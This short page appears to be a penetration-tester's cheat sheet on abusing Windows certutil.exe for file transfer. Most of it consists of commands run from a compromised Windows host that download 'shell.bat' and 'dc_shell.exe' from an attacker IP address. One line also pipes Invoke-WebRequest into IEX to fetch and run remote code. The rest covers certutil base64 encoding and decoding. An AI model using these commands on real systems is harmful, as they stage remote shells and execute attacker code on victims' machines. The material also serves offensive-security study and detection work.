Skip to content

certutil

certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.

Import a file: (from a windows target host)

1
2
3
4
5
certutil.exe -urlcache -split -f http://$ipAtacker:8080/shell.bat shell.bat

certutil.exe -urlcache -split -f http://172.16.8.120:6666/dc_shell.exe dc_shell.exe

Invoke-WebRequest http://172.16.8.120:8765/dc_shell.exe -UseBasicParsing | IEX

Encode to base64:

certutil -encode file1 encodedfile

Decode a file

certutil -decode encodedfile file2
Last update: 2025-05-18
Created: May 18, 2025 16:41:27